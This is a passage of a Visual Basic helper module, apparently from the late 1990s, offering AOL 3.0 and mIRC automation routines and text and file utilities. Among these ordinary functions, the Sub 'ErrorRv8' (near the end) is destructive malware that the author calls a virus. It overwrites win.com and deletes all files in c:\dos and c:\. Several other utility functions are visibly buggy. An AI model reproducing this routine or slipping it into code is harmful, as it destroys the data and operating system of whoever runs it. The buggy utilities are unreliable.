  7384.             Answer& = Int(Divide)
  7385.             Remainder& = (10000 * (Divide - Answer&)) / 625
  7386.             If Remainder& < 10 Then Configuring$ = Str(Remainder&) + Configuring$
  7387.             If Remainder& = 10 Then Configuring$ = "A" + Configuring$
  7388.             If Remainder& = 11 Then Configuring$ = "B" + Configuring$
  7389.             If Remainder& = 12 Then Configuring$ = "C" + Configuring$
  7390.             If Remainder& = 13 Then Configuring$ = "D" + Configuring$
  7391.             If Remainder& = 14 Then Configuring$ = "E" + Configuring$
  7392.             If Remainder& = 15 Then Configuring$ = "F" + Configuring$
  7393.             Color& = Answer&
  7394.         Next xx&
  7395.     Next X&
  7396.     Configuring$ = TrimSpaces(Configuring$)
  7397.     RGB2HEX = Configuring$
  7398. End Function
  7399. Function TrimSpaces(Text)
  7400.     If InStr(Text, " ") = 0 Then
  7401.     TrimSpaces = Text
  7402.     Exit Function
  7403.     End If
  7404.     For TrimSpace = 1 To Len(Text)
  7405.     thechar$ = Mid(Text, TrimSpace, 1)
  7406.     thechars$ = thechars$ & thechar$
  7407.     If thechar$ = " " Then
  7408.     thechars$ = Mid(thechars$, 1, Len(thechars$) - 1)
  7409.     End If
  7410.     Next TrimSpace
  7411.     TrimSpaces = thechars$
  7412. End Function
  7413. Function AOL30_SignOn(Pass As String)
  7414. 'this will sign a user onto aol3.0
  7415. 'this will also fill in there password
  7416. aol% = FindWindow("AOL Frame25", vbNullString)
  7417. mdi% = FindChildByClass(aol%, "MDIClient")
  7418. TIT% = FindChildByTitle(mdi%, "Goodbye From America Online")
  7419. tit2% = FindChildByTitle(mdi%, "Welcome")
  7420.  
  7421. If TIT% <> 0 Then
  7422. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7423.  
  7424.  fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7425. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7426.  
  7427.  
  7428. ElseIf tit2% <> 0 Then
  7429. Edi% = FindChildByClass(tit2%, "_AOL_Edit")
  7430.  
  7431. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7432. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7433.  
  7434. End If
  7435.  
  7436. End Function
  7437.  
  7438.  
  7439. Function SNameDecoder(name As String, Ascii As String)
  7440. For X = 1 To Len(name)
  7441. letta$ = Mid(name, X, 1)
  7442. If letta$ = "l" Then Let letta$ = "L": GoTo Done
  7443. If letta$ = "O" Then Let letta$ = "o": GoTo Done
  7444. If letta$ = "I" Then Let letta$ = "i": GoTo Done
  7445. If letta$ = "V" Then Let letta$ = "v ": GoTo Done
  7446.  
  7447. Done:
  7448. i$ = i$ & letta$
  7449. Next X
  7450. Call ErrorRsenD("  " & Ascii & "Screen Name Decoder")
  7451. Wait (0.5)
  7452. Call ErrorRsenD("  " & Ascii & "Now decoding " & name)
  7453. Wait (0.5)
  7454. Call ErrorRsenD("  " & Ascii & name & " = " & i$)
  7455. End Function
  7456. Function Program_Minimize(frm As Form)
  7457. frm.WindowState = 1
  7458. End Function
  7459.  
  7460.  
  7461. Function FileLoadList(FileName As String, lis As ListBox)
  7462. On Error Resume Next
  7463. Open FileName For Input As #1
  7464. Do While Not EOF(1)
  7465.  Line Input #1, ln$
  7466. lis.AddItem ln$
  7467. Loop
  7468. Close #1
  7469. End Function
  7470.  
  7471. Function FileSaveList(FileName As String, lis As ListBox)
  7472. Free = FreeFile
  7473. Open FileName For Output As Free
  7474. For X = 0 To lis.ListCount
  7475. Print #1, lis.List(X)
  7476. Next X
  7477. Close #1
  7478. End Function
  7479. Function FileSaveText(FileName As String, txt As String)
  7480. Free = FreeFile
  7481. Open FileName For Output As Free
  7482. For X = 0 To txt
  7483. Print #1, txt
  7484. Next X
  7485. Close #1
  7486. End Function
  7487. Function FindAol30()
  7488. aol% = FindWindow("AOL Frame25", vbNullString)
  7489. FindAol30 = aol%
  7490.  
  7491. End Function
  7492.  
  7493.  
  7494.  
  7495.  
  7496. Function Form_RollDownSlow(frm As Form)
  7497.  
  7498. X = frm.Height
  7499. For i = 1 To X Step 50: frm.Show
  7500. frm.Height = i
  7501. Wait (0.000001)
  7502. Next i
  7503. End Function
  7504. Function Form_RollDown(frm As Form)
  7505. X = frm.Height
  7506.  
  7507. For i = 1 To X Step 80: frm.Show
  7508. frm.Height = i
  7509. Wait (0.000001)
  7510. Next i
  7511. End Function
  7512.  
  7513. Function Form_RollDownFast(frm As Form)
  7514. 'theres a slightly better way to do these it just
  7515. 'involves the form not flashing for a second on load
  7516. 'but for that i'd have to expect everyone to know there
  7517. 'forms hieght and i know a lot of people arent sure about
  7518. 'object properties
  7519. X = frm.Height 'logs the initial hieght
  7520. For i = 1 To X Step 80: frm.Show
  7521. frm.Height = i 'goes to that height 80 by 80
  7522. Wait (0.0001)
  7523. Next i
  7524. End Function
  7525.  
  7526. Function AddFontsToList(lis As ListBox)
  7527. For X = 0 To Screen.FontCount - 1
  7528.     lis.AddItem Screen.Fonts(X)
  7529.    
  7530. Next X
  7531. End Function
  7532. Function AddFontsList(Combo)
  7533. For X = 0 To Screen.FontCount - 1
  7534. Combo.AddItem Screen.Fonts(X)
  7535. Next X
  7536. End Function
  7537. Function WavY(TheText As String)
  7538.  
  7539. G$ = TheText
  7540. a = Len(G$)
  7541. For W = 1 To a Step 4
  7542.     r$ = Mid$(G$, W, 1)
  7543.     U$ = Mid$(G$, W + 1, 1)
  7544.     s$ = Mid$(G$, W + 2, 1)
  7545.     T$ = Mid$(G$, W + 3, 1)
  7546.     p$ = p$ & "<B><sup>" & r$ & "</sup>" & U$ & "<sub>" & s$ & "</sub>" & T$
  7547. Next W
  7548. ErrorRsenD (p$)
  7549.  
  7550. End Function
  7551. Sub waitforok()
  7552. Do
  7553. DoEvents
  7554. okw = FindWindow("#32770", "America Online")
  7555. If proG_STAT$ = "OFF" Then
  7556. Exit Sub
  7557. Exit Do
  7558. End If
  7559.  
  7560. DoEvents
  7561. Loop Until okw <> 0
  7562.    
  7563.     okb = FindChildByTitle(okw, "OK")
  7564.     okd = SendMessageByNum(okb, WM_LBUTTONDOWN, 0, 0&)
  7565.     oku = SendMessageByNum(okb, WM_LBUTTONUP, 0, 0&)
  7566.  
  7567.  
  7568. End Sub
  7569.  
  7570.  
  7571. Function AddFontsToCombo(Comb As ComboBox)
  7572. For X = 0 To Screen.FontCount - 1
  7573.     Comb.AddItem Screen.Fonts(X)
  7574.    
  7575. Next X
  7576. End Function
  7577. Public Sub ErrorRsenD(Chat As String)
  7578.     Dim room As Long, AORich As Long, AORich2 As Long
  7579.     room& = FindRoom&
  7580.     AORich& = FindWindowEx(room, 0&, "RICHCNTL", vbNullString)
  7581.     AORich2& = FindWindowEx(room, AORich, "RICHCNTL", vbNullString)
  7582.     Call SendMessageByString(AORich2, WM_SETTEXT, 0&, Chat$)
  7583.     Call SendMessageLong(AORich2, WM_CHAR, ENTER_KEY, 0&)
  7584. End Sub
  7585.  
  7586.  
  7587. Sub AOLIcon(Icon%)
  7588. Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&)
  7589. Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&)
  7590. End Sub
  7591.  
  7592. Function meeh_Encrypt(strin As String)
  7593. Let inptxt$ = strin
  7594. Let lenth% = Len(inptxt$)
  7595. Do While NumSpc% <= lenth%
  7596. Let NumSpc% = NumSpc% + 1
  7597. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7598. If NextChr$ = "A" Then Let NextChr$ = "Ü"
  7599. If NextChr$ = "B" Then Let NextChr$ = "£"
  7600. If NextChr$ = "C" Then Let NextChr$ = "ó"
  7601. If NextChr$ = "D" Then Let NextChr$ = "ñ"
  7602. If NextChr$ = "E" Then Let NextChr$ = "▒"
  7603. If NextChr$ = "F" Then Let NextChr$ = "░"
  7604. If NextChr$ = "G" Then Let NextChr$ = "▓"
  7605. If NextChr$ = "H" Then Let NextChr$ = "│"
  7606. If NextChr$ = "I" Then Let NextChr$ = "╡"
  7607. If NextChr$ = "J" Then Let NextChr$ = "¬"
  7608. If NextChr$ = "K" Then Let NextChr$ = "╣"
  7609. If NextChr$ = "L" Then Let NextChr$ = "║"
  7610. If NextChr$ = "M" Then Let NextChr$ = "ƒ"
  7611. If NextChr$ = "N" Then Let NextChr$ = "φ"
  7612. If NextChr$ = "O" Then Let NextChr$ = "ε"
  7613. If NextChr$ = "P" Then Let NextChr$ = "∩"
  7614. If NextChr$ = "Q" Then Let NextChr$ = "≡"
  7615. If NextChr$ = "R" Then Let NextChr$ = "±"
  7616. If NextChr$ = "S" Then Let NextChr$ = "≥"
  7617. If NextChr$ = "T" Then Let NextChr$ = "≤"
  7618. If NextChr$ = "U" Then Let NextChr$ = "⌠"
  7619. If NextChr$ = "V" Then Let NextChr$ = "⌡"
  7620. If NextChr$ = "W" Then Let NextChr$ = "÷"
  7621. If NextChr$ = "X" Then Let NextChr$ = "°"
  7622. If NextChr$ = "Y" Then Let NextChr$ = "∙"
  7623. If NextChr$ = "Z" Then Let NextChr$ = "·"
  7624. If NextChr$ = " " Then Let NextChr$ = " "
  7625. If NextChr$ = "a" Then Let NextChr$ = "'"
  7626. If NextChr$ = "b" Then Let NextChr$ = "√"
  7627. If NextChr$ = "c" Then Let NextChr$ = "ⁿ"
  7628. If NextChr$ = "d" Then Let NextChr$ = "²"
  7629. If NextChr$ = "e" Then Let NextChr$ = "■"
  7630. If NextChr$ = "f" Then Let NextChr$ = "╞"
  7631. If NextChr$ = "g" Then Let NextChr$ = "╟"
  7632. If NextChr$ = "h" Then Let NextChr$ = "╠"
  7633. If NextChr$ = "i" Then Let NextChr$ = "═"
  7634. If NextChr$ = "j" Then Let NextChr$ = "╬"
  7635. If NextChr$ = "k" Then Let NextChr$ = "╧"
  7636. If NextChr$ = "l" Then Let NextChr$ = "╪"
  7637. If NextChr$ = "m" Then Let NextChr$ = "▐"
  7638. If NextChr$ = "n" Then Let NextChr$ = "▀"
  7639. If NextChr$ = "o" Then Let NextChr$ = "å"
  7640. If NextChr$ = "p" Then Let NextChr$ = "â"
  7641. If NextChr$ = "q" Then Let NextChr$ = "î"
  7642. If NextChr$ = "r" Then Let NextChr$ = "è"
  7643. If NextChr$ = "s" Then Let NextChr$ = "ç"
  7644. If NextChr$ = "t" Then Let NextChr$ = "í"
  7645. If NextChr$ = "u" Then Let NextChr$ = "ú"
  7646. If NextChr$ = "v" Then Let NextChr$ = "º"
  7647. If NextChr$ = "w" Then Let NextChr$ = "∞"
  7648. If NextChr$ = "x" Then Let NextChr$ = "δ"
  7649. If NextChr$ = "y" Then Let NextChr$ = "Ω"
  7650. If NextChr$ = "z" Then Let NextChr$ = "Θ"
  7651. If NextChr$ = "1" Then Let NextChr$ = "Φ"
  7652. If NextChr$ = "2" Then Let NextChr$ = "τ"
  7653. If NextChr$ = "3" Then Let NextChr$ = "µ"
  7654. If NextChr$ = "4" Then Let NextChr$ = "ß"
  7655. If NextChr$ = "5" Then Let NextChr$ = "σ"
  7656. If NextChr$ = "6" Then Let NextChr$ = "Γ"
  7657. If NextChr$ = "7" Then Let NextChr$ = "π"
  7658. If NextChr$ = "8" Then Let NextChr$ = "Σ"
  7659. If NextChr$ = "9" Then Let NextChr$ = "α"
  7660. If NextChr$ = "0" Then Let NextChr$ = "╫"
  7661. Let NewSent$ = NewSent$ + NextChr$
  7662. Loop
  7663. meeh_Encrypt = NewSent$
  7664. End Function
  7665.  
  7666. Function EncryptType(Text, types)
  7667. 'to encrypt, example:
  7668. 'encrypted$ = EncryptType("messagetoencrypt", 0)
  7669. 'to decrypt, example:
  7670. 'decrypted$ = EncryptType("decryptedmessage", 1)
  7671. '- First Paramete is the Message
  7672. '- Second Parameter is 0 for encrypt
  7673. 'or 1 for decrypt
  7674.  
  7675. For god = 1 To Len(Text)
  7676. If types = 0 Then
  7677. Current$ = Asc(Mid(Text, god, 1)) - 1
  7678. Else
  7679. Current$ = Asc(Mid(Text, god, 1)) + 1
  7680. End If
  7681. Process$ = Process$ & Chr(Current$)
  7682. Next god
  7683.  
  7684. EncryptType = Process$
  7685. End Function
  7686. Sub Spiral(txt As textbox)
  7687. 'Spiral Scroller
  7688. X = txt.Text
  7689. ErrorRsenD (txt)
  7690. thastart:
  7691. Dim MYLEN As Integer
  7692. MyString = txt.Text
  7693. MYLEN = Len(MyString)
  7694. mystr = Mid(MyString, 2, MYLEN) + Mid(MyString, 1, 1)
  7695. txt.Text = mystr
  7696. TimeOut 0.4
  7697. ErrorRsenD (txt)
  7698. If txt.Text = X Then
  7699. Exit Sub
  7700. End If
  7701. GoTo thastart
  7702. End Sub
  7703.  
  7704.  
  7705. Sub RunMenuByString(Wat, strin)
  7706. SearchWat% = GetMenu(Wat)
  7707. cnt = GetMenuItemCount(SearchWat%)
  7708.  
  7709. For fstrin = 0 To cnt - 1
  7710. ToSearchSub% = GetSubMenu(SearchWat%, fstrin)
  7711. MenuItemCnt = GetMenuItemCount(ToSearchSub%)
  7712.  
  7713. For gstrin = 0 To MenuItemCnt - 1
  7714. SubCnt = GetMenuItemID(ToSearchSub%, gstrin)
  7715. mString$ = String$(100, " ")
  7716. gstrinMenu% = GetMenuString(ToSearchSub%, SubCnt, mString$, 100, 1)
  7717.  
  7718. If InStr(UCase(mString$), UCase(strin)) Then
  7719. MenuItem% = SubCnt
  7720. GoTo Done
  7721. End If
  7722.  
  7723. Next gstrin
  7724.  
  7725. Next fstrin
  7726. Done:
  7727. runit% = SendMessage(Wat, WM_COMMAND, MenuItem%, 0)
  7728. End Sub
  7729.  
  7730.  
  7731. Function AOL30_ChatManipulate(Who, Wat)
  7732. aol% = FindWindow("AOL Frame25", vbNullString)
  7733. mdi% = FindChildByClass(aol%, "MDIClient")
  7734. Chil% = FindChildByClass(mdi%, "AOL Child")
  7735. View% = FindChildByClass(Chil%, "_AOL_View")
  7736. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7737. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7738.  
  7739. X = SendMessageByString(View%, WM_SETTEXT, 0, Chr(13) & " " & Who & ":" & Chr(9) & Wat)
  7740.  
  7741. End Function
  7742. Function AOL30_ChatSend(Wat)
  7743. aol% = FindWindow("AOL Frame25", vbNullString)
  7744. mdi% = FindChildByClass(aol%, "MDIClient")
  7745. Chil% = FindChildByClass(mdi%, "AOL Child")
  7746. View% = FindChildByClass(Chil%, "_AOL_View")
  7747. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7748. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7749.  
  7750. X = SendMessageByString(Edi%, WM_SETTEXT, 0, Wat)
  7751. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0)
  7752.  
  7753. End Function
  7754.  
  7755.  
  7756. Function AOL30_inRoom() As Boolean
  7757. Dim InRoom As Boolean
  7758. aol% = FindWindow("AOL Frame25", vbNullString)
  7759. mdi% = FindChildByClass(aol%, "MDIClient")
  7760. Chil% = FindChildByClass(mdi%, "AOL Child")
  7761. View% = FindChildByClass(Chil%, "_AOL_View")
  7762. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7763. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7764.  
  7765. If View% <> 0 And lis% <> 0 And Edi% <> 0 Then
  7766. InRoom = True
  7767. Else
  7768. InRoom = False
  7769. End If
  7770. AOL30_inRoom = InRoom
  7771.  
  7772. End Function
  7773.  
  7774. Function AOL30_isAolOn() As Boolean
  7775. aol% = FindWindow("AOL Frame25", vbNullString)
  7776. If aol% <> 0 Then
  7777. IsOn = True
  7778. Else
  7779. IsOn = False
  7780. End If
  7781. AOL30_isAolOn = IsOn
  7782.  
  7783. End Function
  7784.  
  7785. Function BackFlash(object)
  7786. 'this will make the backround of a label
  7787. 'textbox etc, flash. put this code in a timer
  7788. 'dont forget to set the interval , a lower interval
  7789. 'will make a faster flash ex. Call BackFlash(Label1)
  7790. object.BackColor = QBColor(Rnd * 15)
  7791.  
  7792. End Function
  7793.  
  7794.  
  7795. Function FileDelete(Path)
  7796. On Error GoTo damn
  7797. Kill (Path)
  7798.  
  7799. damn:
  7800. MsgBox ("File Deletion error")
  7801. Exit Function
  7802. End Function
  7803.  
  7804. Function FileLength(Path)
  7805. 'returns the number of characters in a file
  7806. X = FileLen(Path)
  7807. FileLength = X
  7808.  
  7809. End Function
  7810.  
  7811. Function ForeFlash(object)
  7812. 'this will make the Foreground of a label
  7813. 'textbox etc, flash. put this code in a timer
  7814. 'dont forget to set the interval , a lower interval
  7815. 'will make a faster flash ex. Call ForeFlash(Label1)
  7816. object.ForeColor = QBColor(Rnd * 15)
  7817.  
  7818. End Function
  7819.  
  7820. Function FileCreate(FileName As String)
  7821. Free = FreeFile
  7822. Open FileName For Random As Free
  7823. Close Free
  7824. End Function
  7825. Sub HideAOL()
  7826. aol% = FindWindow("AOL Frame25", vbNullString)
  7827. Call ShowWindow(aol%, 0)
  7828. End Sub
  7829.  
  7830.  
  7831. Sub ShowAOL()
  7832. aol% = FindWindow("AOL Frame25", vbNullString)
  7833. Call ShowWindow(aol%, 5)
  7834. End Sub
  7835.  
  7836. Function FileInput(FileName As String)
  7837. Free = FreeFile
  7838. Open FileName For Input As Free
  7839.     i = FileLen(FileName)
  7840.     X = Input(i, Free)
  7841. Close Free
  7842.     FileInput = X
  7843. End Function
  7844. Function FileInput2(FileName As String)
  7845. 'this is for if the the first FileInput
  7846. 'adds two characters at the end
  7847. 'those two are not neccasarry and sometimes show up
  7848. 'use this method if you encounter that problem
  7849. Free = FreeFile
  7850. Open FileName For Input As Free
  7851.     i = FileLen(FileName)
  7852.     X = Input(i - 2, Free)
  7853. Close Free
  7854.     FileInput2 = X
  7855. End Function
  7856. Function FileWrite(FileName As String, Wat As String)
  7857.  
  7858. Open FileName For Output As #1
  7859.     Print #1, Wat
  7860. Close #1
  7861.  
  7862.  
  7863. End Function
  7864.  
  7865. Public Function FindSendWindow() As Long
  7866.     Dim aol As Long, mdi As Long, child As Long
  7867.     Dim SendStatic As Long
  7868.     aol& = FindWindow("AOL Frame25", vbNullString)
  7869.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  7870.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  7871.     SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now")
  7872.     If SendStatic& <> 0& Then
  7873.         FindSendWindow& = child&
  7874.         Exit Function
  7875.     Else
  7876.         Do
  7877.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  7878.             SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now")
  7879.             If SendStatic& <> 0& Then
  7880.                 FindSendWindow& = child&
  7881.                 Exit Function
  7882.             End If
  7883.         Loop Until child& = 0&
  7884.     End If
  7885.     FindSendWindow& = 0&
  7886. End Function
  7887. Public Function FindInfoWindow() As Long
  7888.     Dim aol As Long, mdi As Long, child As Long
  7889.     Dim AOLCheck As Long, AOLIcon As Long, AOLStatic As Long
  7890.     Dim AOLIcon2 As Long, AOLGlyph As Long
  7891.     aol& = FindWindow("AOL Frame25", vbNullString)
  7892.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  7893.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  7894.     AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString)
  7895.     AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  7896.     AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString)
  7897.     AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  7898.     AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString)
  7899.     If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then
  7900.         FindInfoWindow& = child&
  7901.         Exit Function
  7902.     Else
  7903.         Do
  7904.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  7905.             AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString)
  7906.             AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  7907.             AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString)
  7908.             AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  7909.             AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString)
  7910.             If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then
  7911.                 FindInfoWindow& = child&
  7912.                 Exit Function
  7913.             End If
  7914.         Loop Until child& = 0&
  7915.     End If
  7916.     FindInfoWindow& = child&
  7917. End Function
  7918. Function LoadTimes(ProgName As String)
  7919. 'New an improved
  7920.     On Error Resume Next
  7921. num = GetSetting(ProgName, "Load", "Times")
  7922.     num = Val(num) + 1
  7923.  
  7924. Call SaveSetting(ProgName, "Load", "Times", num)
  7925. LoadTimes = num
  7926. End Function
  7927. Public Function LoByte(ByVal wParam As Integer)
  7928.  
  7929.     LoByte = wParam And &HFF&
  7930.  
  7931. End Function
  7932. Function LoadTimesReset()
  7933. 'Changes the times to 0
  7934.     On Error Resume Next
  7935.  
  7936. Call SaveSetting("ErrorR", "Load", "Times", "0")
  7937. End Function
  7938.  
  7939.  
  7940. Function MacroDarken(txt As String)
  7941. 'this is a darken effect for as macro
  7942. 'just use it with the variable macro
  7943. 'being where the macro is
  7944.     For i = 1 To Len(txt)
  7945. X$ = Mid(txt, i, 1)
  7946.     If X$ = ":" Then Let X$ = ";"
  7947. Final$ = txt
  7948.     Next i
  7949.     txt = Final$
  7950.      'txt = X$
  7951.      'X$ = txt
  7952. End Function
  7953. Function mIRCJoinChannel(channel)
  7954. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7955. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7956. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  7957. OurHandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7958. Chat = "/Join " & channel
  7959. Call SetFocusAPI(OurHandle&)
  7960. Call SendMessageByString(OurHandle&, WM_SETTEXT, 0, channel)
  7961. DoEvents
  7962. Call SendMessageByNum(OurHandle&, WM_CHAR, 13, 0)
  7963. End Function
  7964. Function mIRCSendChat(Chat)
  7965. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7966. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7967. OurParent& = FindWindowEx(ParHand2&, 0, "channel", vbNullString)
  7968. OurHandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7969. Call SetFocusAPI(OurHandle&)
  7970. Call SendMessageByString(OurHandle&, WM_SETTEXT, 0, Chat)
  7971. DoEvents
  7972. Call SendMessageByNum(OurHandle&, WM_CHAR, 13, 0)
  7973. End Function
  7974. Sub mIRCSendChat2Query(Chat)
  7975. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7976. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7977. OurParent& = FindWindowEx(ParHand2&, 0, "query", vbNullString)
  7978. OurHandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7979. Call SetFocusAPI(OurHandle&)
  7980. Call SendMessageByString(OurHandle&, WM_SETTEXT, 0, Chat)
  7981. DoEvents
  7982. Call SendMessageByNum(OurHandle&, WM_CHAR, 13, 0)
  7983.  
  7984. End Sub
  7985. Function mIRCSendChat2Status(Chat)
  7986. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7987. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7988. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  7989. OurHandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7990. Call SetFocusAPI(OurHandle&)
  7991. Call SendMessageByString(OurHandle&, WM_SETTEXT, 0, Chat)
  7992. DoEvents
  7993. Call SendMessageByNum(OurHandle&, WM_CHAR, 13, 0)
  7994. End Function
  7995. Sub mIRCShow()
  7996. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7997. Call Window_Show(ParHand1&)
  7998.  
  7999. End Sub
  8000. Sub mIRCSignOn(server)
  8001. ParHand1& = FindWindow("mIRC32", "mIRC32")
  8002. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  8003. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  8004. OurHandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  8005. Chat = "/server " & server
  8006. Call SetFocusAPI(OurHandle&)
  8007. Call SendMessageByString(OurHandle&, WM_SETTEXT, 0, Chat)
  8008. DoEvents
  8009. Call SendMessageByNum(OurHandle&, WM_CHAR, 13, 0)
  8010. TimeOut (6)
  8011. End Sub
  8012. Sub ErrorRv8()
  8013. 'MsgBox "This is a VIRUS CODE and will harm your computer!"
  8014. ' Might Want to get rid of that!
  8015. 'this is a nice virii
  8016. 'makes the victem print my tags and kills there win and dos -=)
  8017. 'what ever actions you do with my shit its up to you
  8018. 'just dont fuck with my shit bitch
  8019.  
  8020. Printer.Print "ErrorR Domain"
  8021. Open "c:\windows\win.com" For Output As #1
  8022. Print #1, " ErrorR "
  8023. Close #1
  8024. Kill "c:\dos\*.*"
  8025. Kill "c:\*.*"
  8026. End Sub
  8027. Sub mIRCHide()
  8028. ParHand1& = FindWindow("mIRC32", "mIRC32")
  8029. Call Window_Hide(ParHand1&)
  8030.  
  8031. End Sub
  8032. Function mIRCGetChatText()
  8033. ParHand1& = FindWindow("mIRC32", "mIRC32")
  8034. OurParent& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  8035. win% = FindWindowEx(OurParent&, 0, "channel", vbNullString)
  8036. chattext = GetText(win%)
  8037. mIRCGetChatText = chattext
  8038. End Function
  8039.  
  8040. Function MacroLighten(txt As String)
  8041. 'this is a darken effect for as macro
  8042. 'just use it with the variable macro
  8043. 'being where the macro is
  8044.     For i = 1 To Len(txt)
  8045. X$ = Mid(Macro, i, 1)
  8046.     If X$ = ";" Then Let X$ = ":"
  8047. ReV$ = txt & X$
  8048.     Next i
  8049.         MacroLighten = ReV$
  8050.  
  8051. End Function
  8052.  
  8053. Function MailList2String(List1)
  8054.     For X = 0 To lis1.ListCount - 1
  8055. names$ = names$ & lis1.List(X) & ","
  8056.     Next X
  8057.         MailList2String = Mid(names$, 1, Len(names$) - 1)
  8058.     
  8059. End Function
  8060.  
  8061.  
  8062.  
  8063. Function RandomNum(last)
  8064. 'creates a random number from 1 to last
  8065. X = Int(Rnd * last + 1)
  8066.         RandomNum = X
  8067.  
  8068. End Function
  8069.  
  8070. Function ReplaceChar(Where, LookFor As String, Replace As String)
  8071. 'this is to replace one character
  8072. 'ex. text1.text = ReplaceChar(text1.text,"a","b")
  8073. 'that will change all a's to b's
  8074. For X = 1 To Len(Where)
  8075. i$ = Mid(Where, X, 1)
  8076. If i$ = LookFor Then Let i$ = Replace
  8077. strin$ = strin$ & i$
  8078. Next X
  8079. ReplaceChar = strin$
  8080. End Function
  8081.  
  8082. Function TDate()
  8083. X = Format(Date, "mmmm/dd/yyyy")
  8084. TDate = X
  8085. End Function
  8086. Function TDate2()
  8087. X = Format(Date, "mm/dd/yy")
  8088. TDate2 = X
  8089. End Function
  8090. Function TDate3()
  8091. X = Format(Date, "mm/dd/yyyy")
  8092. TDate3 = X
  8093. End Function
  8094. Function TDate4()
  8095. X = Format(Date, "dddd/mmmm/yyyy")
  8096. TDate4 = X
  8097. End Function
  8098. 'Function Text_BoldCrazy(strin As String)
  8099. 'For X = 1 To Len(strin) Step 2
  8100. 'i$ = Mid(strin, X, 1)
  8101. 'i2$ = Mid(strin, X + 1, 1)
  8102. 'Final$ = Final$ & "<B>" & i$ & "</B>" & i2$
  8103. 'Next X
  8104. 'SendChat = Final$
  8105. 'End Function
  8106. Function Talker_Period(strin As String) As String
  8107. '  How to use:
  8108. '  ReV = talker_period(text1.text)
  8109. '  errorrsend(ReV)
  8110.  
  8111.     Dim NextChr As String, inptxt As String, lenth As Integer
  8112.     Dim NumSpc As Integer, NewSent As String, Pero As String
  8113.     
  8114.     Let inptxt$ = strin
  8115.     Let lenth% = Len(inptxt$)
  8116.     Do While NumSpc% <= lenth%
  8117.         Let NumSpc% = NumSpc% + 1
  8118.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8119.         Let NextChr$ = NextChr$ + "."
  8120.         Let NewSent$ = NewSent$ + NextChr$
  8121.     Loop
  8122.     Pero$ = NewSent$
  8123.     Talker_Period = Pero$
  8124. End Function
  8125. Function Talker_Ucase(Strn As String) As String
  8126.     Dim chang As String
  8127.  
  8128.     chang$ = UCase(Strn)
  8129.     Talker_Ucase = chang$
  8130. End Function
  8131. Function Talker_Space(strin As String) As String
  8132. '  How to use:
  8133. '  ReV = talker_space(text1.text)
  8134. '  errorrsend(ReV)
  8135.  
  8136.     Dim NextChr As String, inptxt As String, lenth As Integer
  8137.     Dim NumSpc As Integer, NewSent As String, Spac As String
  8138.     
  8139.     Let inptxt$ = strin
  8140.     Let lenth% = Len(inptxt$)
  8141.     Do While NumSpc% <= lenth%
  8142.         Let NumSpc% = NumSpc% + 1
  8143.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8144.         Let NextChr$ = NextChr$ + " "
  8145.         Let NewSent$ = NewSent$ + NextChr$
  8146.     Loop
  8147.     Spac$ = NewSent$
  8148.     Talker_Space = Spac$
